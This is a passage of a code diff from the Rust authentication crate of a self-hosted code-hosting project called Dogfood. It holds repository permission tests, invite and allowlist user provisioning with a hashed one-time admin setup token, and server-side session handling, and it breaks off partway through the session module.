| 175 | + | fn a_signed_in_stranger_cannot_read_a_private_repo() { | |
| 176 | + | let a = resolve(AccessInputs { viewer: Some(viewer()), ..base() }); | |
| 177 | + | assert!( | |
| 178 | + | !a.can_read(), | |
| 179 | + | "being authenticated is not authorization — this is the private-repo leak" | |
| 180 | + | ); | |
| 181 | + | } | |
| 182 | + | ||
| 183 | + | #[test] | |
| 184 | + | fn org_membership_alone_does_not_grant_access_to_a_non_org_repo() { | |
| 185 | + | // org_role is only ever populated for org-owned repos, but if a bug ever | |
| 186 | + | // populated it for a user-owned repo the grant would still be read-only, | |
| 187 | + | // never write. | |
| 188 | + | let a = resolve(AccessInputs { | |
| 189 | + | viewer: Some(viewer()), | |
| 190 | + | org_role: Some(OrgRole::Member), | |
| 191 | + | ..base() | |
| 192 | + | }); | |
| 193 | + | assert!(a.can_read()); | |
| 194 | + | assert!(!a.can_push(), "org membership must never imply push"); | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | // ─── public repos ──────────────────────────────────────────────────────── | |
| 198 | + | ||
| 199 | + | #[test] | |
| 200 | + | fn anonymous_can_read_but_not_write_a_public_repo() { | |
| 201 | + | let a = resolve(AccessInputs { visibility: Visibility::Public, ..base() }); | |
| 202 | + | assert!(a.can_read()); | |
| 203 | + | assert!(a.can_comment(), "read implies comment per the §6 table"); | |
| 204 | + | assert!(!a.can_push()); | |
| 205 | + | assert!(!a.can_change_settings()); | |
| 206 | + | assert!(!a.can_delete()); | |
| 207 | + | } | |
| 208 | + | ||
| 209 | + | // ─── the role table, exactly as specified in §6 ────────────────────────── | |
| 210 | + | ||
| 211 | + | #[test] | |
| 212 | + | fn role_table_matches_the_spec() { | |
| 213 | + | let cases = [ | |
| 214 | + | // read, comment, push, manage, settings, delete | |
| 215 | + | (RepoRole::Read, true, true, false, false, false, false), | |
| 216 | + | (RepoRole::Write, true, true, true, false, false, false), | |
| 217 | + | (RepoRole::Maintain, true, true, true, true, true, false), | |
| 218 | + | (RepoRole::Admin, true, true, true, true, true, true), | |
| 219 | + | ]; | |
| 220 | + | for (role, read, comment, push, manage, settings, delete) in cases { | |
| 221 | + | let a = resolve(AccessInputs { | |
| 222 | + | viewer: Some(viewer()), | |
| 223 | + | collaborator_role: Some(role), | |
| 224 | + | ..base() | |
| 225 | + | }); | |
| 226 | + | assert_eq!(a.can_read(), read, "{role:?} read"); | |
| 227 | + | assert_eq!(a.can_comment(), comment, "{role:?} comment"); | |
| 228 | + | assert_eq!(a.can_push(), push, "{role:?} push"); | |
| 229 | + | assert_eq!(a.can_manage_changes(), manage, "{role:?} manage-changes"); | |
| 230 | + | assert_eq!(a.can_change_settings(), settings, "{role:?} settings"); | |
| 231 | + | assert_eq!(a.can_delete(), delete, "{role:?} delete"); | |
| 232 | + | } | |
| 233 | + | } | |
| 234 | + | ||
| 235 | + | // ─── the maximum rule ──────────────────────────────────────────────────── | |
| 236 | + | ||
| 237 | + | #[test] | |
| 238 | + | fn effective_role_is_the_maximum_not_the_last_match() { | |
| 239 | + | // A read collaborator who is also an org admin gets admin, not read. | |
| 240 | + | let a = resolve(AccessInputs { | |
| 241 | + | viewer: Some(viewer()), | |
| 242 | + | collaborator_role: Some(RepoRole::Read), | |
| 243 | + | org_role: Some(OrgRole::Admin), | |
| 244 | + | ..base() | |
| 245 | + | }); | |
| 246 | + | assert_eq!(a.role(), Some(RepoRole::Admin)); | |
| 247 | + | } | |
| 248 | + | ||
| 249 | + | #[test] | |
| 250 | + | fn a_lower_org_role_never_downgrades_a_higher_collaborator_role() { | |
| 251 | + | let a = resolve(AccessInputs { | |
| 252 | + | viewer: Some(viewer()), | |
| 253 | + | collaborator_role: Some(RepoRole::Admin), | |
| 254 | + | org_role: Some(OrgRole::Member), | |
| 255 | + | ..base() | |
| 256 | + | }); | |
| 257 | + | assert_eq!( | |
| 258 | + | a.role(), | |
| 259 | + | Some(RepoRole::Admin), | |
| 260 | + | "org membership must not reduce an explicit collaborator grant" | |
| 261 | + | ); | |
| 262 | + | } | |
| 263 | + | ||
| 264 | + | #[test] | |
| 265 | + | fn site_admin_has_full_access_to_private_repos() { | |
| 266 | + | let a = resolve(AccessInputs { | |
| 267 | + | viewer: Some(Viewer { user_id: Uuid::from_u128(9), is_site_admin: true }), | |
| 268 | + | ..base() | |
| 269 | + | }); | |
| 270 | + | assert!(a.can_delete()); | |
| 271 | + | } | |
| 272 | + | ||
| 273 | + | #[test] | |
| 274 | + | fn owner_has_admin_on_their_own_repo() { | |
| 275 | + | let v = viewer(); | |
| 276 | + | let a = resolve(AccessInputs { | |
| 277 | + | viewer: Some(v), | |
| 278 | + | owner_user_id: Some(v.user_id), | |
| 279 | + | ..base() | |
| 280 | + | }); | |
| 281 | + | assert_eq!(a.role(), Some(RepoRole::Admin)); | |
| 282 | + | } | |
| 283 | + | ||
| 284 | + | #[test] | |
| 285 | + | fn a_different_users_repo_is_not_owned() { | |
| 286 | + | let a = resolve(AccessInputs { | |
| 287 | + | viewer: Some(viewer()), | |
| 288 | + | owner_user_id: Some(Uuid::from_u128(999)), | |
| 289 | + | ..base() | |
| 290 | + | }); | |
| 291 | + | assert!(!a.can_read()); | |
| 292 | + | } | |
| 293 | + | ||
| 294 | + | #[test] | |
| 295 | + | fn denied_is_the_default() { | |
| 296 | + | assert!(!RepoAccess::DENIED.can_read()); | |
| 297 | + | assert_eq!(RepoAccess::DENIED.role(), None); | |
| 298 | + | } | |
| 299 | + | } | |
Acrates/df-auth/src/provisioning.rs402 lines+402−0
| @@ −0,0 +1,402 @@ | |||
| 1 | + | //! User provisioning and site-admin bootstrap. | |
| 2 | + | //! | |
| 3 | + | //! Access is invite/allowlist only (decided): completing an OIDC login is not | |
| 4 | + | //! sufficient to obtain a Dogfood account. An identity must additionally be on | |
| 5 | + | //! the configured allowlist or hold an open invitation. | |
| 6 | + | //! | |
| 7 | + | //! Site admin is claimed once through a one-time setup token that the web | |
| 8 | + | //! process mints and logs on first boot when no admin exists. | |
| 9 | + | ||
| 10 | + | use anyhow::{Context, Result}; | |
| 11 | + | use argon2::password_hash::{PasswordHash, PasswordHasher, PasswordVerifier, SaltString}; | |
| 12 | + | use argon2::Argon2; | |
| 13 | + | use df_db::ids::new_id; | |
| 14 | + | use df_db::models::User; | |
| 15 | + | use rand::RngCore; | |
| 16 | + | use sqlx::PgPool; | |
| 17 | + | use uuid::Uuid; | |
| 18 | + | ||
| 19 | + | use crate::oidc::Identity; | |
| 20 | + | ||
| 21 | + | /// Why a login did not result in an account. | |
| 22 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 23 | + | pub enum Denied { | |
| 24 | + | /// Authenticated successfully, but not allowlisted or invited. | |
| 25 | + | NotInvited, | |
| 26 | + | /// The provider returned no email, so allowlist matching is impossible. | |
| 27 | + | NoEmail, | |
| 28 | + | /// A handle could not be derived and must be chosen by the user. | |
| 29 | + | NeedsHandle { suggested: Option<String> }, | |
| 30 | + | } | |
| 31 | + | ||
| 32 | + | /// Decide whether an identity may hold an account. | |
| 33 | + | /// | |
| 34 | + | /// Pure so the policy is testable without a database. `invited` is the result | |
| 35 | + | /// of the invitation lookup; `allowlist` comes from configuration. | |
| 36 | + | pub fn admission(identity: &Identity, allowlist: &[String], invited: bool) -> Result<(), Denied> { | |
| 37 | + | // Entries may be either an email address or a raw OIDC subject. Subjects are | |
| 38 | + | // matched first and are the more dependable of the two: `sub` is guaranteed | |
| 39 | + | // present on every login, whereas `email` depends on the provider's consent | |
| 40 | + | // app re-supplying claims on each flow. Ory's Account Experience does not do | |
| 41 | + | // that once Hydra starts skipping consent, so an email-only allowlist stops | |
| 42 | + | // matching an hour after a user's first sign-in. | |
| 43 | + | let subject = identity.subject.trim(); | |
| 44 | + | if !subject.is_empty() | |
| 45 | + | && allowlist | |
| 46 | + | .iter() | |
| 47 | + | .map(|a| a.trim()) | |
| 48 | + | .filter(|a| !a.is_empty()) | |
| 49 | + | // Subjects are opaque and case-sensitive; do not fold case here. | |
| 50 | + | .any(|a| a == subject) | |
| 51 | + | { | |
| 52 | + | return Ok(()); | |
| 53 | + | } | |
| 54 | + | ||
| 55 | + | let email = identity.email.as_deref().map(str::trim).unwrap_or(""); | |
| 56 | + | if email.is_empty() { | |
| 57 | + | // Without an email we cannot match the allowlist, and silently creating | |
| 58 | + | // an account would defeat the policy. An empty-string email is treated | |
| 59 | + | // as absent so it can never match a malformed allowlist entry. | |
| 60 | + | return Err(Denied::NoEmail); | |
| 61 | + | } | |
| 62 | + | ||
| 63 | + | let allowed = invited | |
| 64 | + | || allowlist | |
| 65 | + | .iter() | |
| 66 | + | .map(|a| a.trim()) | |
| 67 | + | // A blank entry — from `DOGFOOD_ALLOWLIST=""` or a stray comma — | |
| 68 | + | // must never match anything. | |
| 69 | + | .filter(|a| !a.is_empty()) | |
| 70 | + | .any(|a| a.eq_ignore_ascii_case(email)); | |
| 71 | + | ||
| 72 | + | if !allowed { | |
| 73 | + | return Err(Denied::NotInvited); | |
| 74 | + | } | |
| 75 | + | Ok(()) | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | /// Find an existing user by OIDC subject. | |
| 79 | + | /// | |
| 80 | + | /// Keyed on `sub`, never email (spec §6). | |
| 81 | + | pub async fn find_by_subject(db: &PgPool, subject: &str) -> Result<Option<User>> { | |
| 82 | + | let u = sqlx::query_as::<_, User>( | |
| 83 | + | "SELECT id, subject, handle, display_name, email, avatar_url, is_admin, created_at | |
| 84 | + | FROM users WHERE subject = $1", | |
| 85 | + | ) | |
| 86 | + | .bind(subject) | |
| 87 | + | .fetch_optional(db) | |
| 88 | + | .await?; | |
| 89 | + | Ok(u) | |
| 90 | + | } | |
| 91 | + | ||
| 92 | + | /// Whether an open invitation exists for this email. | |
| 93 | + | pub async fn has_invitation(db: &PgPool, email: &str) -> Result<bool> { | |
| 94 | + | let found: Option<(Uuid,)> = | |
| 95 | + | sqlx::query_as("SELECT id FROM invitations WHERE email = $1 AND accepted_at IS NULL") | |
| 96 | + | .bind(email) | |
| 97 | + | .fetch_optional(db) | |
| 98 | + | .await?; | |
| 99 | + | Ok(found.is_some()) | |
| 100 | + | } | |
| 101 | + | ||
| 102 | + | /// Create a user, marking any matching invitation accepted. | |
| 103 | + | pub async fn create_user( | |
| 104 | + | db: &PgPool, | |
| 105 | + | identity: &Identity, | |
| 106 | + | handle: &str, | |
| 107 | + | ) -> Result<User> { | |
| 108 | + | let mut tx = db.begin().await?; | |
| 109 | + | let id = new_id(); | |
| 110 | + | ||
| 111 | + | let user = sqlx::query_as::<_, User>( | |
| 112 | + | "INSERT INTO users (id, subject, handle, display_name, email) | |
| 113 | + | VALUES ($1, $2, $3, $4, $5) | |
| 114 | + | RETURNING id, subject, handle, display_name, email, avatar_url, is_admin, created_at", | |
| 115 | + | ) | |
| 116 | + | .bind(id) | |
| 117 | + | .bind(&identity.subject) | |
| 118 | + | .bind(handle) | |
| 119 | + | .bind(identity.name.as_deref()) | |
| 120 | + | .bind(identity.email.as_deref()) | |
| 121 | + | .fetch_one(&mut *tx) | |
| 122 | + | .await | |
| 123 | + | .context("creating user")?; | |
| 124 | + | ||
| 125 | + | if let Some(email) = identity.email.as_deref() { | |
| 126 | + | sqlx::query( | |
| 127 | + | "UPDATE invitations SET accepted_at = now(), accepted_by = $2 | |
| 128 | + | WHERE email = $1 AND accepted_at IS NULL", | |
| 129 | + | ) | |
| 130 | + | .bind(email) | |
| 131 | + | .bind(user.id) | |
| 132 | + | .execute(&mut *tx) | |
| 133 | + | .await?; | |
| 134 | + | } | |
| 135 | + | ||
| 136 | + | sqlx::query( | |
| 137 | + | "INSERT INTO audit_log (id, actor_id, action, target, metadata) | |
| 138 | + | VALUES ($1, $2, 'user.provisioned', $3, $4)", | |
| 139 | + | ) | |
| 140 | + | .bind(new_id()) | |
| 141 | + | .bind(user.id) | |
| 142 | + | .bind(format!("user:{}", user.id)) | |
| 143 | + | .bind(serde_json::json!({ "handle": handle, "subject": identity.subject })) | |
| 144 | + | .execute(&mut *tx) | |
| 145 | + | .await?; | |
| 146 | + | ||
| 147 | + | tx.commit().await?; | |
| 148 | + | Ok(user) | |
| 149 | + | } | |
| 150 | + | ||
| 151 | + | /// Whether a handle is free and not reserved. | |
| 152 | + | pub async fn handle_available(db: &PgPool, handle: &str) -> Result<bool> { | |
| 153 | + | let taken: Option<(i32,)> = sqlx::query_as( | |
| 154 | + | "SELECT 1 FROM ( | |
| 155 | + | SELECT handle FROM users | |
| 156 | + | UNION ALL SELECT handle FROM orgs | |
| 157 | + | UNION ALL SELECT handle FROM reserved_handles | |
| 158 | + | ) t WHERE handle = $1", | |
| 159 | + | ) | |
| 160 | + | .bind(handle) | |
| 161 | + | .fetch_optional(db) | |
| 162 | + | .await?; | |
| 163 | + | Ok(taken.is_none()) | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | /// Pick a free handle derived from `base`, appending a numeric suffix if needed. | |
| 167 | + | pub async fn unique_handle(db: &PgPool, base: &str) -> Result<Option<String>> { | |
| 168 | + | if handle_available(db, base).await? { | |
| 169 | + | return Ok(Some(base.to_string())); | |
| 170 | + | } | |
| 171 | + | for n in 2..=99 { | |
| 172 | + | // Keep within the 39-character limit the CHECK enforces. | |
| 173 | + | let suffix = n.to_string(); | |
| 174 | + | let trimmed: String = base.chars().take(39 - suffix.len() - 1).collect(); | |
| 175 | + | let candidate = format!("{}-{}", trimmed.trim_end_matches('-'), suffix); | |
| 176 | + | if handle_available(db, &candidate).await? { | |
| 177 | + | return Ok(Some(candidate)); | |
| 178 | + | } | |
| 179 | + | } | |
| 180 | + | Ok(None) | |
| 181 | + | } | |
| 182 | + | ||
| 183 | + | // ─── site admin bootstrap ──────────────────────────────────────────────────── | |
| 184 | + | ||
| 185 | + | /// Whether any site admin exists. | |
| 186 | + | pub async fn any_admin_exists(db: &PgPool) -> Result<bool> { | |
| 187 | + | let found: Option<(Uuid,)> = sqlx::query_as("SELECT id FROM users WHERE is_admin LIMIT 1") | |
| 188 | + | .fetch_optional(db) | |
| 189 | + | .await?; | |
| 190 | + | Ok(found.is_some()) | |
| 191 | + | } | |
| 192 | + | ||
| 193 | + | /// Mint a setup token if no admin exists and no unconsumed token is outstanding. | |
| 194 | + | /// | |
| 195 | + | /// Returns the plaintext exactly once, for logging. Only the hash is stored. | |
| 196 | + | pub async fn ensure_setup_token(db: &PgPool) -> Result<Option<String>> { | |
| 197 | + | if any_admin_exists(db).await? { | |
| 198 | + | return Ok(None); | |
| 199 | + | } | |
| 200 | + | ||
| 201 | + | let outstanding: Option<(Uuid,)> = | |
| 202 | + | sqlx::query_as("SELECT id FROM setup_tokens WHERE consumed_at IS NULL LIMIT 1") | |
| 203 | + | .fetch_optional(db) | |
| 204 | + | .await?; | |
| 205 | + | if outstanding.is_some() { | |
| 206 | + | // A token is already outstanding. We cannot show it again — we do not | |
| 207 | + | // have the plaintext — so say so rather than minting a second one. | |
| 208 | + | return Ok(None); | |
| 209 | + | } | |
| 210 | + | ||
| 211 | + | let mut bytes = [0u8; 24]; | |
| 212 | + | rand::thread_rng().fill_bytes(&mut bytes); | |
| 213 | + | let plaintext = hex::encode(bytes); | |
| 214 | + | ||
| 215 | + | let salt = SaltString::generate(&mut rand::thread_rng()); | |
| 216 | + | let hash = Argon2::default() | |
| 217 | + | .hash_password(plaintext.as_bytes(), &salt) | |
| 218 | + | .map_err(|e| anyhow::anyhow!("hashing setup token: {e}"))? | |
| 219 | + | .to_string(); | |
| 220 | + | ||
| 221 | + | sqlx::query("INSERT INTO setup_tokens (id, token_hash) VALUES ($1, $2)") | |
| 222 | + | .bind(new_id()) | |
| 223 | + | .bind(hash) | |
| 224 | + | .execute(db) | |
| 225 | + | .await?; | |
| 226 | + | ||
| 227 | + | Ok(Some(plaintext)) | |
| 228 | + | } | |
| 229 | + | ||
| 230 | + | /// Consume a setup token, promoting `user_id` to site admin. | |
| 231 | + | /// | |
| 232 | + | /// Returns false for an unknown, already-consumed, or mismatched token. | |
| 233 | + | pub async fn claim_admin(db: &PgPool, user_id: Uuid, presented: &str) -> Result<bool> { | |
| 234 | + | let candidates: Vec<(Uuid, String)> = | |
| 235 | + | sqlx::query_as("SELECT id, token_hash FROM setup_tokens WHERE consumed_at IS NULL") | |
| 236 | + | .fetch_all(db) | |
| 237 | + | .await?; | |
| 238 | + | ||
| 239 | + | for (token_id, stored) in candidates { | |
| 240 | + | let Ok(parsed) = PasswordHash::new(&stored) else { | |
| 241 | + | tracing::error!(%token_id, "setup token hash unparseable"); | |
| 242 | + | continue; | |
| 243 | + | }; | |
| 244 | + | if Argon2::default() | |
| 245 | + | .verify_password(presented.as_bytes(), &parsed) | |
| 246 | + | .is_err() | |
| 247 | + | { | |
| 248 | + | continue; | |
| 249 | + | } | |
| 250 | + | ||
| 251 | + | let mut tx = db.begin().await?; | |
| 252 | + | // Guard against two requests racing on the same token: the UPDATE only | |
| 253 | + | // matches while it is still unconsumed. | |
| 254 | + | let claimed = sqlx::query( | |
| 255 | + | "UPDATE setup_tokens SET consumed_at = now(), consumed_by = $2 | |
| 256 | + | WHERE id = $1 AND consumed_at IS NULL", | |
| 257 | + | ) | |
| 258 | + | .bind(token_id) | |
| 259 | + | .bind(user_id) | |
| 260 | + | .execute(&mut *tx) | |
| 261 | + | .await?; | |
| 262 | + | ||
| 263 | + | if claimed.rows_affected() == 0 { | |
| 264 | + | tx.rollback().await?; | |
| 265 | + | return Ok(false); | |
| 266 | + | } | |
| 267 | + | ||
| 268 | + | sqlx::query("UPDATE users SET is_admin = true WHERE id = $1") | |
| 269 | + | .bind(user_id) | |
| 270 | + | .execute(&mut *tx) | |
| 271 | + | .await?; | |
| 272 | + | ||
| 273 | + | sqlx::query( | |
| 274 | + | "INSERT INTO audit_log (id, actor_id, action, target, metadata) | |
| 275 | + | VALUES ($1, $2, 'admin.claimed', $3, '{}')", | |
| 276 | + | ) | |
| 277 | + | .bind(new_id()) | |
| 278 | + | .bind(user_id) | |
| 279 | + | .bind(format!("user:{user_id}")) | |
| 280 | + | .execute(&mut *tx) | |
| 281 | + | .await?; | |
| 282 | + | ||
| 283 | + | tx.commit().await?; | |
| 284 | + | return Ok(true); | |
| 285 | + | } | |
| 286 | + | ||
| 287 | + | Ok(false) | |
| 288 | + | } | |
| 289 | + | ||
| 290 | + | #[cfg(test)] | |
| 291 | + | mod tests { | |
| 292 | + | use super::*; | |
| 293 | + | ||
| 294 | + | fn ident(email: Option<&str>) -> Identity { | |
| 295 | + | Identity { | |
| 296 | + | subject: "kratos-uuid".into(), | |
| 297 | + | email: email.map(str::to_string), | |
| 298 | + | name: None, | |
| 299 | + | preferred_username: None, | |
| 300 | + | id_token: None, | |
| 301 | + | } | |
| 302 | + | } | |
| 303 | + | ||
| 304 | + | #[test] | |
| 305 | + | fn allowlisted_email_is_admitted() { | |
| 306 | + | let allow = vec!["nycmattw@gmail.com".to_string()]; | |
| 307 | + | assert_eq!(admission(&ident(Some("nycmattw@gmail.com")), &allow, false), Ok(())); | |
| 308 | + | } | |
| 309 | + | ||
| 310 | + | #[test] | |
| 311 | + | fn allowlist_matching_is_case_and_whitespace_insensitive() { | |
| 312 | + | let allow = vec![" NycMattW@Gmail.com ".to_string()]; | |
| 313 | + | assert_eq!(admission(&ident(Some("nycmattw@gmail.com")), &allow, false), Ok(())); | |
| 314 | + | } | |
| 315 | + | ||
| 316 | + | #[test] | |
| 317 | + | fn a_stranger_is_denied_even_after_a_successful_login() { | |
| 318 | + | // The decided policy: authentication is not authorization. | |
| 319 | + | let allow = vec!["nycmattw@gmail.com".to_string()]; | |
| 320 | + | assert_eq!( | |
| 321 | + | admission(&ident(Some("attacker@example.com")), &allow, false), | |
| 322 | + | Err(Denied::NotInvited) | |
| 323 | + | ); | |
| 324 | + | } | |
| 325 | + | ||
| 326 | + | #[test] | |
| 327 | + | fn an_invitation_admits_without_the_allowlist() { | |
| 328 | + | assert_eq!(admission(&ident(Some("new@example.com")), &[], true), Ok(())); | |
| 329 | + | } | |
| 330 | + | ||
| 331 | + | #[test] | |
| 332 | + | fn no_email_is_denied_rather_than_admitted() { | |
| 333 | + | // Failing open here would let anyone Kratos authenticates hold an | |
| 334 | + | // account, which is the whole policy defeated. | |
| 335 | + | assert_eq!(admission(&ident(None), &[], false), Err(Denied::NoEmail)); | |
| 336 | + | assert_eq!( | |
| 337 | + | admission(&ident(None), &["x@y.z".into()], false), | |
| 338 | + | Err(Denied::NoEmail), | |
| 339 | + | "a missing email must never fall through to an allowlist match" | |
| 340 | + | ); | |
| 341 | + | } | |
| 342 | + | ||
| 343 | + | #[test] | |
| 344 | + | fn an_empty_allowlist_admits_nobody_uninvited() { | |
| 345 | + | assert_eq!( | |
| 346 | + | admission(&ident(Some("anyone@example.com")), &[], false), | |
| 347 | + | Err(Denied::NotInvited) | |
| 348 | + | ); | |
| 349 | + | } | |
| 350 | + | ||
| 351 | + | #[test] | |
| 352 | + | fn a_blank_allowlist_entry_matches_nothing() { | |
| 353 | + | // `DOGFOOD_ALLOWLIST=""` or a stray comma parses to [""] or ["", "x"]. | |
| 354 | + | // A blank entry must never admit anyone. | |
| 355 | + | assert_eq!( | |
| 356 | + | admission(&ident(Some("")), &["".to_string()], false), | |
| 357 | + | Err(Denied::NoEmail) | |
| 358 | + | ); | |
| 359 | + | assert_eq!( | |
| 360 | + | admission(&ident(Some(" ")), &[" ".to_string()], false), | |
| 361 | + | Err(Denied::NoEmail) | |
| 362 | + | ); | |
| 363 | + | assert_eq!( | |
| 364 | + | admission(&ident(Some("someone@example.com")), &["".to_string()], false), | |
| 365 | + | Err(Denied::NotInvited) | |
| 366 | + | ); | |
| 367 | + | } | |
| 368 | + | ||
| 369 | + | #[test] | |
| 370 | + | fn whitespace_only_email_is_treated_as_absent() { | |
| 371 | + | assert_eq!(admission(&ident(Some(" ")), &[], false), Err(Denied::NoEmail)); | |
| 372 | + | } | |
| 373 | + | ||
| 374 | + | // ─── subject allowlisting ──────────────────────────────────────────────── | |
| 375 | + | ||
| 376 | + | #[test] | |
| 377 | + | fn a_subject_entry_admits_without_any_email_claim() { | |
| 378 | + | // The case that unblocked sign-in on this deployment: Hydra skipped | |
| 379 | + | // consent, the AX supplied no claims, and the ID token carried only | |
| 380 | + | // `sub`. Subject matching must still admit. | |
| 381 | + | let allow = vec!["kratos-uuid".to_string()]; | |
| 382 | + | assert_eq!(admission(&ident(None), &allow, false), Ok(())); | |
| 383 | + | } | |
| 384 | + | ||
| 385 | + | #[test] | |
| 386 | + | fn subject_matching_is_case_sensitive() { | |
| 387 | + | // Subjects are opaque identifiers, not addresses. Folding case could | |
| 388 | + | // collide two distinct subjects on a provider that issues them. | |
| 389 | + | let allow = vec!["KRATOS-UUID".to_string()]; | |
| 390 | + | assert_eq!(admission(&ident(None), &allow, false), Err(Denied::NoEmail)); | |
| 391 | + | } | |
| 392 | + | ||
| 393 | + | #[test] | |
| 394 | + | fn a_non_matching_subject_still_falls_through_to_email() { | |
| 395 | + | let allow = vec!["some-other-subject".into(), "matt@dogfood.sh".into()]; | |
| 396 | + | assert_eq!(admission(&ident(Some("matt@dogfood.sh")), &allow, false), Ok(())); | |
| 397 | + | assert_eq!( | |
| 398 | + | admission(&ident(Some("other@example.com")), &allow, false), | |
| 399 | + | Err(Denied::NotInvited) | |
| 400 | + | ); | |
| 401 | + | } | |
| 402 | + | } | |
Acrates/df-auth/src/session.rs+162−0
| @@ −0,0 +1,162 @@ | |||
| 1 | + | //! Server-side sessions (spec §6). | |
| 2 | + | //! | |
| 3 | + | //! "Sessions are server-side rows with an opaque ID in a cookie: HttpOnly, | |
| 4 | + | //! Secure, SameSite=Lax, 14-day sliding expiry. Store nothing in the cookie but | |
| 5 | + | //! the ID." | |
| 6 | + | ||
| 7 | + | use anyhow::Result; | |
| 8 | + | use chrono::{DateTime, Duration, Utc}; | |
| 9 | + | use df_db::ids::new_id; | |
| 10 | + | use df_db::models::{Session, User}; | |
| 11 | + | use sqlx::PgPool; | |
| 12 | + | use uuid::Uuid; | |
| 13 | + | ||
| 14 | + | pub const COOKIE_NAME: &str = "dogfood_session"; | |
| 15 | + | ||
| 16 | + | /// Create a session row and return its id, which becomes the cookie value. | |
| 17 | + | pub async fn create( | |
| 18 | + | db: &PgPool, | |
| 19 | + | user_id: Uuid, | |
| 20 | + | ttl_days: i64, | |
| 21 | + | user_agent: Option<&str>, | |
| 22 | + | ip: Option<std::net::IpAddr>, | |
| 23 | + | id_token: Option<&str>, | |
| 24 | + | ) -> Result<(Uuid, DateTime<Utc>)> { | |
| 25 | + | let id = new_id(); | |
| 26 | + | let expires_at = Utc::now() + Duration::days(ttl_days); | |
| 27 | + | ||
| 28 | + | sqlx::query( | |
| 29 | + | "INSERT INTO sessions (id, user_id, expires_at, user_agent, ip, id_token) | |
| 30 | + | VALUES ($1, $2, $3, $4, $5, $6)", | |
| 31 | + | ) | |
| 32 | + | .bind(id) | |
| 33 | + | .bind(user_id) | |
| 34 | + | .bind(expires_at) | |
| 35 | + | // Truncated: a hostile client can send a multi-kilobyte User-Agent and | |
| 36 | + | // there is no reason to store it. | |
| 37 | + | .bind(user_agent.map(|ua| ua.chars().take(255).collect::<String>())) | |
| 38 | + | .bind(ip.map(sqlx::types::ipnetwork::IpNetwork::from)) | |
| 39 | + | .bind(id_token) | |
| 40 | + | .execute(db) | |
| 41 | + | .await?; | |
| 42 | + | ||
| 43 | + | Ok((id, expires_at)) | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | /// The ID token stashed at login, for `id_token_hint` on RP-Initiated Logout. | |
| 47 | + | /// | |
| 48 | + | /// `None` both when the session predates this column and when the login that | |
| 49 | + | /// created it had no token to store (the pending-handle path) — callers treat | |
| 50 | + | /// both the same way: fall back to clearing the local session only. | |
| 51 | + | pub async fn id_token(db: &PgPool, session_id: Uuid) -> Result<Option<String>> { | |
| 52 | + | let row: Option<(Option<String>,)> = | |
| 53 | + | sqlx::query_as("SELECT id_token FROM sessions WHERE id = $1") | |
| 54 | + | .bind(session_id) | |
| 55 | + | .fetch_optional(db) | |
| 56 | + | .await?; | |
| 57 | + | Ok(row.and_then(|r| r.0)) | |
| 58 | + | } | |
| 59 | + | ||
| 60 | + | /// Load the user for a session id, if the session exists and has not expired. | |
| 61 | + | /// | |
| 62 | + | /// Returns the session so the caller can decide whether to slide the expiry. | |
| 63 | + | pub async fn load(db: &PgPool, session_id: Uuid) -> Result<Option<(Session, User)>> { | |
| 64 | + | let row = sqlx::query_as::<_, (Uuid, Uuid, DateTime<Utc>, Uuid, String, String, Option<String>, Option<String>, Option<String>, bool, DateTime<Utc>)>( | |
| 65 | + | "SELECT s.id, s.user_id, s.expires_at, | |
| 66 | + | u.id, u.subject, u.handle, u.display_name, u.email, u.avatar_url, | |
| 67 | + | u.is_admin, u.created_at | |
| 68 | + | FROM sessions s | |
| 69 | + | JOIN users u ON u.id = s.user_id | |
| 70 | + | WHERE s.id = $1 AND s.expires_at > now()", | |
| 71 | + | ) | |
| 72 | + | .bind(session_id) | |
| 73 | + | .fetch_optional(db) | |
| 74 | + | .await?; | |
| 75 | + | ||
| 76 | + | Ok(row.map(|r| { | |
| 77 | + | ( | |
| 78 | + | Session { id: r.0, user_id: r.1, expires_at: r.2 }, | |
| 79 | + | User { | |
| 80 | + | id: r.3, | |
| 81 | + | subject: r.4, | |
| 82 | + | handle: r.5, | |
| 83 | + | display_name: r.6, | |
| 84 | + | email: r.7, | |
| 85 | + | avatar_url: r.8, | |
| 86 | + | is_admin: r.9, | |
| 87 | + | created_at: r.10, | |
| 88 | + | }, | |
| 89 | + | ) | |
| 90 | + | })) | |
| 91 | + | } | |
| 92 | + | ||
| 93 | + | /// Extend a session's expiry — the "sliding" part of the 14-day window. | |
| 94 | + | /// | |
| 95 | + | /// Only worth writing when the session is far enough along that the write is | |
| 96 | + | /// not on every request; the caller decides via [`should_slide`]. | |
| 97 | + | pub async fn slide(db: &PgPool, session_id: Uuid, ttl_days: i64) -> Result<()> { | |
| 98 | + | sqlx::query("UPDATE sessions SET expires_at = $2 WHERE id = $1") | |
| 99 | + | .bind(session_id) | |
| 100 | + | .bind(Utc::now() + Duration::days(ttl_days)) | |
| 101 | + | .execute(db) | |
| 102 | + | .await?; | |
| 103 | + | Ok(()) | |
| 104 | + | } | |
| 105 | + | ||
| 106 | + | /// Whether a session is worth sliding on this request. | |
| 107 | + | /// | |
| 108 | + | /// Writing on every request would mean a database write per page view. Sliding | |
| 109 | + | /// only once the session is past half its life keeps it to roughly one write | |
| 110 | + | /// per user per week while still giving active users an unbroken session. | |
| 111 | + | pub fn should_slide(expires_at: DateTime<Utc>, ttl_days: i64) -> bool { | |
| 112 | + | let remaining = expires_at - Utc::now(); | |
| 113 | + | remaining < Duration::days(ttl_days) / 2 | |
| 114 | + | } | |
| 115 | + | ||
| 116 | + | pub async fn destroy(db: &PgPool, session_id: Uuid) -> Result<()> { | |
| 117 | + | sqlx::query("DELETE FROM sessions WHERE id = $1") | |
| 118 | + | .bind(session_id) | |
| 119 | + | .execute(db) | |
| 120 | + | .await?; | |
| 121 | + | Ok(()) | |
| 122 | + | } | |
| 123 | + | ||
| 124 | + | /// Invalidate every session for a user. Used when an account is disabled. | |
| 125 | + | pub async fn destroy_all_for_user(db: &PgPool, user_id: Uuid) -> Result<u64> { | |
| 126 | + | let r = sqlx::query("DELETE FROM sessions WHERE user_id = $1") | |
| 127 | + | .bind(user_id) | |
| 128 | + | .execute(db) | |
| 129 | + | .await?; | |
| 130 | + | Ok(r.rows_affected()) | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | /// Delete expired sessions. Run periodically from the worker. | |
